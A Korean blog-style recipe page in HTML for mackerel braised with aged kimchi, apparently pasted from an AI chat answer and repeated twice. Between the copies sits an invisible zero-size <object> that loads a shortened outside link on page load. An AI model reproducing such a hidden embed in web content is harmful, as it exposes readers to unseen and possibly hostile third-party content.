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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">고등어 김치조림 맛있게 만드는 방법</h2><p data-sourcepos="3:1-3:96">고등어 김치조림은 밥도둑으로 유명한 한국인의 소울푸드 중 하나죠! 짭짤하면서도 매콤한 맛이 일품인 고등어 김치조림을 집에서도 쉽고 맛있게 만들 수 있는 방법을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:36"><strong>주재료:</strong> 고등어, 묵은지(신김치), 감자, 양파, 대파</li>
<li data-sourcepos="8:1-8:41"><strong>양념:</strong> 고춧가루, 된장, 간장, 다진 마늘, 생강, 설탕, 후추</li>
<li data-sourcepos="9:1-10:0"><strong>기타:</strong> 물, 식용유</li>
</ul><h3 data-sourcepos="11:1-11:7">레시피</h3><ol data-sourcepos="13:1-28:0">
<li data-sourcepos="13:1-17:0">
<p data-sourcepos="13:4-13:13"><strong>재료 손질:</strong></p>
<ul data-sourcepos="14:4-17:0">
<li data-sourcepos="14:4-14:50">고등어는 비늘을 제거하고 내장을 깨끗하게 손질한 후 먹기 좋은 크기로 토막냅니다.</li>
<li data-sourcepos="15:4-15:31">묵은지는 겉잎을 떼고 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="16:4-17:0">감자는 큼직하게 깍둑썰기하고, 양파는 채 썰고, 대파는 어슷썰어 준비합니다.</li>
</ul>
</li>
<li data-sourcepos="18:1-21:0">
<p data-sourcepos="18:4-18:15"><strong>양념장 만들기:</strong></p>
<ul data-sourcepos="19:4-21:0">
<li data-sourcepos="19:4-19:60">볼에 고춧가루, 된장, 간장, 다진 마늘, 생강, 설탕, 후추를 넣고 고루 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="20:4-21:0">묵은지의 짠맛에 따라 양념의 간을 조절해주세요.</li>
</ul>
</li>
<li data-sourcepos="22:1-28:0">
<p data-sourcepos="22:4-22:10"><strong>조리:</strong></p>
<ul data-sourcepos="23:4-28:0">
<li data-sourcepos="23:4-23:38">냄비에 식용유를 두르고 고등어를 앞뒤로 노릇하게 구워줍니다.</li>
<li data-sourcepos="24:4-24:33">구워진 고등어를 냄비에 옮기고 묵은지를 깔아줍니다.</li>
<li data-sourcepos="25:4-25:32">감자, 양파를 올리고 양념장을 골고루 부어줍니다.</li>
<li data-sourcepos="26:4-26:57">물을 자작하게 부어준 후 센 불에서 끓이다가 중불로 줄여 뚜껑을 덮고 20분 정도 조려줍니다.</li>
<li data-sourcepos="27:4-28:0">국물이 졸아들면 대파를 넣고 5분 정도 더 조려줍니다.</li>
</ul>
</li>
</ol><h3 data-sourcepos="29:1-29:13">맛있게 즐기는 팁</h3><ul data-sourcepos="31:1-35:0">
<li data-sourcepos="31:1-31:63"><strong>묵은지:</strong> 묵은지를 사용하면 더욱 깊은 맛을 낼 수 있습니다. 묵은지가 없다면 신김치를 사용해도 됩니다.</li>
<li data-sourcepos="32:1-32:84"><strong>고등어:</strong> 신선한 고등어를 사용하는 것이 중요합니다. 고등어는 비린내가 날 수 있으므로 굽기 전에 소금과 후추로 살짝 밑간을 해주면 좋습니다.</li>
<li data-sourcepos="33:1-33:64"><strong>양념:</strong> 양념의 비율은 취향에 따라 조절해주세요. 단맛을 더 내고 싶다면 설탕을 조금 더 넣어도 좋습니다.</li>
<li data-sourcepos="34:1-35:0"><strong>채소:</strong> 감자 외에도 무, 당근 등 좋아하는 채소를 추가하여 다양한 맛을 즐길 수 있습니다.</li>
</ul><p data-sourcepos="36:1-36:50"><strong>꿀팁:</strong> 묵은지의 짠맛을 줄이려면 묵은지를 물에 살짝 담가두었다가 사용하면 좋습니다.</p><p data-sourcepos="38:1-39:98"><strong>요리 영상:</strong>
고등어 김치조림 레시피에 대한 더 자세한 설명과 시각적인 자료를 원하시면 유튜브에서 "고등어 김치조림 레시피"를 검색해보세요. 다양한 레시피와 요리 과정을 확인할 수 있습니다.</p><p data-sourcepos="41:1-41:62"><strong>이 레시피를 참고하여 맛있는 고등어 김치조림을 만들어 드시고, 가족과 함께 즐거운 식사 시간을 보내세요!</strong></p><p data-sourcepos="43:1-43:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="45:1-45:61"><em>혹시 특정 재료를 빼거나 다른 재료로 대체하고 싶은 경우, 또는 더 자세한 레시피를 원하시면 알려주세요.</em></p><p data-sourcepos="47:1-47:31"><strong>고등어김치조림 집밥 레시피 요리 한국음식</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">고등어 김치조림 맛있게 만드는 방법</h2><p data-sourcepos="3:1-3:96">고등어 김치조림은 밥도둑으로 유명한 한국인의 소울푸드 중 하나죠! 짭짤하면서도 매콤한 맛이 일품인 고등어 김치조림을 집에서도 쉽고 맛있게 만들 수 있는 방법을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:36"><strong>주재료:</strong> 고등어, 묵은지(신김치), 감자, 양파, 대파</li>
<li data-sourcepos="8:1-8:41"><strong>양념:</strong> 고춧가루, 된장, 간장, 다진 마늘, 생강, 설탕, 후추</li>
<li data-sourcepos="9:1-10:0"><strong>기타:</strong> 물, 식용유</li>
</ul><h3 data-sourcepos="11:1-11:7">레시피</h3><ol data-sourcepos="13:1-28:0">
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<p data-sourcepos="13:4-13:13"><strong>재료 손질:</strong></p>
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<li data-sourcepos="14:4-14:50">고등어는 비늘을 제거하고 내장을 깨끗하게 손질한 후 먹기 좋은 크기로 토막냅니다.</li>
<li data-sourcepos="15:4-15:31">묵은지는 겉잎을 떼고 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="16:4-17:0">감자는 큼직하게 깍둑썰기하고, 양파는 채 썰고, 대파는 어슷썰어 준비합니다.</li>
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<p data-sourcepos="18:4-18:15"><strong>양념장 만들기:</strong></p>
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<li data-sourcepos="19:4-19:60">볼에 고춧가루, 된장, 간장, 다진 마늘, 생강, 설탕, 후추를 넣고 고루 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="20:4-21:0">묵은지의 짠맛에 따라 양념의 간을 조절해주세요.</li>
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</li>
<li data-sourcepos="22:1-28:0">
<p data-sourcepos="22:4-22:10"><strong>조리:</strong></p>
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<li data-sourcepos="23:4-23:38">냄비에 식용유를 두르고 고등어를 앞뒤로 노릇하게 구워줍니다.</li>
<li data-sourcepos="24:4-24:33">구워진 고등어를 냄비에 옮기고 묵은지를 깔아줍니다.</li>
<li data-sourcepos="25:4-25:32">감자, 양파를 올리고 양념장을 골고루 부어줍니다.</li>
<li data-sourcepos="26:4-26:57">물을 자작하게 부어준 후 센 불에서 끓이다가 중불로 줄여 뚜껑을 덮고 20분 정도 조려줍니다.</li>
<li data-sourcepos="27:4-28:0">국물이 졸아들면 대파를 넣고 5분 정도 더 조려줍니다.</li>
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</ol><h3 data-sourcepos="29:1-29:13">맛있게 즐기는 팁</h3><ul data-sourcepos="31:1-35:0">
<li data-sourcepos="31:1-31:63"><strong>묵은지:</strong> 묵은지를 사용하면 더욱 깊은 맛을 낼 수 있습니다. 묵은지가 없다면 신김치를 사용해도 됩니다.</li>
<li data-sourcepos="32:1-32:84"><strong>고등어:</strong> 신선한 고등어를 사용하는 것이 중요합니다. 고등어는 비린내가 날 수 있으므로 굽기 전에 소금과 후추로 살짝 밑간을 해주면 좋습니다.</li>
<li data-sourcepos="33:1-33:64"><strong>양념:</strong> 양념의 비율은 취향에 따라 조절해주세요. 단맛을 더 내고 싶다면 설탕을 조금 더 넣어도 좋습니다.</li>
<li data-sourcepos="34:1-35:0"><strong>채소:</strong> 감자 외에도 무, 당근 등 좋아하는 채소를 추가하여 다양한 맛을 즐길 수 있습니다.</li>
</ul><p data-sourcepos="36:1-36:50"><strong>꿀팁:</strong> 묵은지의 짠맛을 줄이려면 묵은지를 물에 살짝 담가두었다가 사용하면 좋습니다.</p><p data-sourcepos="38:1-39:98"><strong>요리 영상:</strong>
고등어 김치조림 레시피에 대한 더 자세한 설명과 시각적인 자료를 원하시면 유튜브에서 "고등어 김치조림 레시피"를 검색해보세요. 다양한 레시피와 요리 과정을 확인할 수 있습니다.</p><p data-sourcepos="41:1-41:62"><strong>이 레시피를 참고하여 맛있는 고등어 김치조림을 만들어 드시고, 가족과 함께 즐거운 식사 시간을 보내세요!</strong></p><p data-sourcepos="43:1-43:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="45:1-45:61"><em>혹시 특정 재료를 빼거나 다른 재료로 대체하고 싶은 경우, 또는 더 자세한 레시피를 원하시면 알려주세요.</em></p><p data-sourcepos="47:1-47:31"><strong>고등어김치조림 집밥 레시피 요리 한국음식</strong></p></div>
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